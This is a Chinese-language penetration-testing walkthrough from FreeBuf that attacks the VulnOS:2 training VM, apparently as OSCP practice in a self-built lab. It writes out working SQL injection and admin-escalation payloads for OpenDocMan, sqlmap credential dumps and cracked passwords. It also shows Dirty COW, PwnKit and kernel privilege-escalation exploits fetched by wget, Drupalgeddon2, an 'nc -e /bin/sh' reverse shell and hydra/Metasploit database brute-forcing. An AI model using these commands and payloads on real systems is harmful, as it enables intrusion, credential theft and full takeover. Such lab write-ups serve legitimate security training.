freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队渗透项目之VulnOS:2
2023-01-05 15:45:45
所属地 江西省

简介

该项目是c4b3rw0lf作者精心制作的项目环境,是一系列易受攻击的操作系统,打包为虚拟映像,以增强渗透测试技能;目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

该项目有始有终会用到 信息收集 -> Web信息探测 -> OpenDocMan攻击-> SSH信息枚举 -> 提权(六种方法),最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

1、nmap扫描存活IP

由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:

202209141344302.png

本机IP为:192.168.40.138。

发现本kali ip为40段!用40段进行全网段扫描:

nmap -sP 192.168.40.0/24

202209141344303.png

发现项目IP:192.168.40.162。

2、nmap全端口扫描

进行namp全端口服务枚举:

nmap -sC -sV -A -T5 192.168.40.162

202209141344304.png

得到开放的端口信息:

22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6
80/tcp   open  http    Apache httpd 2.4.7
6667/tcp open  irc     ngircd

只开了22、80和6667端口,分别是ssh,Web服务器和IRC服务器。

二、Web信息探测

1、Web页面枚举

访问web页面并查看其源码信息:

http://192.168.40.162/

202209141344305.png

主页仅仅提供一张图片,图片中隐写查看也没有可利用信息。

2、AWVS漏扫

http://192.168.40.162/

202209141344306.png

AWVS漏扫发现存在Drupal漏洞!

1)配置文件源代码泄露:

http://192.168.40.162/jabc/includes/database/database.inc

202209141344307.png

2)Drupal 远程代码执行 (SA-CORE-2018-002)

http://192.168.40.162/jabc/

202209141344308.png

3)继续页面信息收集

在主页面模块点击:Documentation

进入后发现存在隐藏信息!由于安全原因隐藏了信息:/jabcd0cs/

202209141344309.png

访问jabcd0cs查看:

http://192.168.40.162/jabcd0cs/

202209141344310.png

访问发现底部是:OpenDocMan 1.2.7

该页面存在OpenDocMan框架,查看是否存在EXP!

三、OpenDocMan攻击

OpenDocMan 是一个全功能的DMS文档管理系统,遵循 ISO 17025/IEC 标准。提供自动化安装脚本、自定义主题、插件、check in/out,分部门访问控制,文件调整,细粒度用户访问控制,强大的搜索功能。

1、OpenDocMan漏洞搜索

使用searchsploit 查找漏洞:

searchsploit OpenDocMan 1.2.7
locate php/webapps/32075.txt
cp /usr/share/exploitdb/exploits/php/webapps/32075.txt .

202209141344311.png

发现32075.txt漏洞,并下载至本地。

分析漏洞palyload:

gedit 32075.txt

202209141344312.png

存在:CVE-2014-1945, CVE-2014-1946

1)CVE-2014-1945:SQL注入

该漏洞是因为/ajax_udf.php脚本中存在add_value对HTTP GET参数请求验证不充分导致存在的漏洞。

sql 注入payload:

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

2)CVE-2014-1946:访问控制不当

由于在更新用户配置文件时/signup.php脚本中允许的操作验证不足,导致远程身份验证的攻击者可以将管理权限分配给当前帐户并获得对应用程序的完全控制权限。

payload:

<form action="http://[host]/signup.php" method="post" name="main">
<input type="hidden" name="updateuser" value="1">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="id" value="[USER_ID]">
<input type="submit" name="login" value="Run">
</form>

3)防护手段:

Update to OpenDocMan v1.2.7.2

More Information:

http://www.opendocman.com/opendocman-v1-2-7-1-release/

http://www.opendocman.com/opendocman-v1-2-7-2-released/

2、CVE-2014-1945 SQL注入攻击

1)访问sql 注入链接:

http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

202209141344313.png

发现可以查到数据版本,接下来手工注入下。

2)手工注入

查找odm_user数据库底下的username信息:将version()改为username

http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,username,3,4,5,6,7,8,9%20from%20odm_user

202209141344314.png

发现guest、webmin用户!

继续查看密码:

这里将username改为password即可发现hash值

http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,password,3,4,5,6,7,8,9%20from%20odm_user

202209141344315.png

发现hash值:

b78aae356709f8c31118ea613980954b
084e0343a0486ff05530df6c705c8bb4

在线解密:

https://www.somd5.com/

202209141344316.png

md5解密为:webmin1980/guest

3、sqlmap爆库

1)可以用通过sqlmap跑下库:

sqlmap -u "http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3

202209141344317.png

202209141344318.png

发现六个数据库:

available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin

2)爆表

看看jabcd0cs数据库里的表信息:

sqlmap -u "http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables

202209141344319.png

202209141344320.png

进入odm_user查看字段!

3)爆字段

再看看odm_user数据表里有字段信息:

sqlmap -u "http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --columns

202209141344321.png

202209141344322.png

4)爆破字段内容

再看看odm_user数据表里字段内容:

sqlmap -u "http://192.168.40.162/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --dump

获得账号密码:

webmin

webmin1980

四、SSH信息枚举

1、SSH远程登录

ssh webmin@192.168.40.162
webmin1980
python -c 'import pty; pty.spawn("/bin/bash")'
id

202209141344323.png

登录成功,获得webmin普通用户权限

2、内核信息枚举

利用linpeas.sh扫描脚本进行内网信息枚举

上传linpeas.sh扫描脚本:

python -m SimpleHTTPServer 8081
wget http://192.168.40.138:8081/linpeas.sh

202209141344324.png

上传成功!

赋权执行脚本:

chmod +x linpeas.sh
./linpeas.sh

202209141344325.png

202209141344326.png

202209141344327.png

202209141344329.png

发现以下信息:

内核漏洞:3.13.0-24-generic
Sudo version 1.8.9p5
本地开启了3306、5432 数据库
存在普通用户:vulnosadmin

五、提权

方法一、内核提权

1、查找内核漏洞:

searchsploit linux 3.13.0

202209141344330.png

发现2个可利用:

linux/local/37292.c
linux/local/37293.txt

2、本地kali下载37292.c

locate linux/local/37292.c 
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
ls

202209141344331.png

3、开启http服务上传脚本至项目机:

python -m SimpleHTTPServer 8081
wget http://192.168.40.138:8081/37292.c

202209141344332.png

4、使用gcc编译后赋权执行:

gcc 37292.c -o test
chmod +x test
./test

202209141344333.png

获得root权限!!!

5、获得flag:

cd ~/root
cat flag.txt

202209141344334.png

获得flag!

方法二、CVE-2021-4034

1、上传漏洞并解压编译至项目机:

wget http://192.168.40.138:8081/PwnKit-Exploit-main-2021-4034.zip
unzip PwnKit-Exploit-main-2021-4034.zip 
make

202209141344335.png

编译成功,得到exploit脚本

2、赋权并执行脚本:

chmod +x exploit
./exploit
id

202209141344336.png

成功获得root权限用户!

方法三、脏牛提权

1、漏洞搜索:

locate 40847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .

202209141344337.png

下载40847.cpp至本地kali

2、本地开启http服务上传脚本至项目机:

python -m SimpleHTTPServer 8081
wget http://192.168.40.138:8081/40847.cpp

202209141344338.png

上传成功!

3、编译并赋权执行:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o test1 40847.cpp -lutil
chmod +x test1
./test1

202209141344339.png

将root密码改为dirtyCowFun,尝试登录。

4、ssh远程登录:

ssh root@192.168.40.162
dirtyCowFun

202209141344340.png

成功登录root用户!

方法四、Drupal 远程代码执行 (SA-CORE-2018-002)   CVE-2018-7600

1、下载好drupalgeddon2.rb攻击脚本:https://github.com/dreadlocked/Drupalgeddon2

wget https://github.com/dreadlocked/Drupalgeddon2/blob/master/drupalgeddon2.rb

202209141344341.png

wget http://192.168.40.138:8081/drupalgeddon2.rb

./drupalgeddon2.rb http://192.168.40.162/jabc

如果执行报错:


2: from ./drupalgeddon2.rb:16:in `<main>'

1: from /usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require'

https://github.com/dreadlocked/Drupalgeddon2/issues/55---参考文章解决

-----  执行:sudo gem install highline  安装完后即可运行!

./drupalgeddon2.rb http://10.211.55.42/jabc---成功拿到shell

然后nc反弹个稳定的shell:

nc -vlp 7777

nc -e /bin/sh 10.211.55.19 7777

python -c 'import pty; pty.spawn("/bin/bash")'


方法五:后台登录

访问登录:

http://192.168.40.162/jabcd0cs/
webmin
webmin1980

202209141344342.png

202209141344343.png

成功登录!

后台可以上传php,但是无法解析!

202209141344344.png


方法六、3D建模

1、在cd /home/webmin目录下找到压缩包文件:

cd /home/webmin
post.tar.gz

202209141344345.png

发现post.tar.gz压缩包,下载至本地分析

2、开启python http服务下载:

python -m SimpleHTTPServer 8081
wget http://192.168.40.162:8081/post.tar.gz

202209141344346.png

下载成功,解压文件

tar -zxvf post.tar.gz

202209141344347.png

解压开里面都是hydra源码!

查看下端口开启情况:

netstat -ntulp

202209141344348.png

postgresql:5432  开启着!

3、ssh端口转发

ssh webmin@192.168.40.162 -L 5432:localhost:5432  
webmin1980

202209141344349.png

这时候本地就开启了5432端口!

4、密码爆破

1)暴力破解方法1:hydra

hydra爆破postgresql数据库用户名和密码

利用postgres_defaul,下载密码本和用户本:

locate postgres_defaul
cp /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt .
cp /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt .

202209141344350.png

爆破密码本和用户本:

hydra -L postgres_default_user.txt -P postgres_default_pass.txt -s 5432 127.0.0.1 postgres -vvv

202209141344351.png

获得密码和用户名:

[5432][postgres] host: 127.0.0.1   login: postgres   password: postgres

2)暴力破解方法2:MSF

开启msf,postgres_login利用:

msfconsole
use auxiliary/scanner/postgres/postgres_login

202209141344352.png

配置IP参数执行:

set RHOSTS 127.0.0.1
run

202209141344353.png

爆破成功,获得账户密码:

[+] 127.0.0.1:5432 - Login Successful: postgres:postgres@template1

pg_dumpall用来提取我们可以访问的所有数据库:

PGPASSWORD="postgres" pg_dumpall -U postgres -h localhost -p 5432

202209141344354.png

202209141344355.png

发现账号密码:

vulnosadmin
c4nuh4ckm3tw1c3

5、shh登录:

ssh vulnosadmin@192.168.40.162
c4nuh4ckm3tw1c3

202209141344356.png

进来后ls发现目录存在:r00t.blend

blend 是3D建模文件

利用MobaXterm工具下载文件r00t.blend:

202209141344357.png

202209141344358.png

下载至本地。

用blender软件查看r00t.blend文件:

202209141344359.png

获得密码:ab12fg//drg

6、ssh登录root用户:

ssh root@192.168.40.162
ab12fg//drg

202209141344360.png

成功登录root权限!!!

六、知识拓展

1、Drupal 7简单分析

使用searchsploit 搜索:

searchsploit Drupal 7

202209141344361.png

下载至本地利用:

locate php/webapps/44449.rb
cp /usr/share/exploitdb/exploits/php/webapps/44449.rb .

202209141344362.png

分析payload:

gedit 44449.rb

202209141344363.png

分析:

为了测试代码执行,脚本尝试回显随机生成的 8 个字符的字符串。然后,如果响应与发送的字符串匹配,则假定代码执行正在运行:470行

random = (0...8).map { (65 + rand(26)).chr }.join

利用ruby 连接项目机:

ruby 44449.rb http://192.168.40.162/jabc/

202209141344364.png

成功获得shell!

2、awvs扫描分析

AWVS扫描发现存在:跨站脚本攻击:XXS跨站脚本攻击

http://192.168.40.162/jabcd0cs/

http://192.168.40.162/jabcd0cs/signup.php
http://192.168.40.162/jabcd0cs/forgot_password.php
http://192.168.40.162/jabcd0cs/index.php

七、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、AWVS漏扫、CVE-2014-1945 SQL注入攻击、手工sql注入、sqlmap爆库、内核信息枚举、内核提权、CVE-2021-4034、脏牛提权、Drupal 远程代码执行、3D建模等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

作者:十七

# 渗透测试 # 数据泄露 # 系统安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录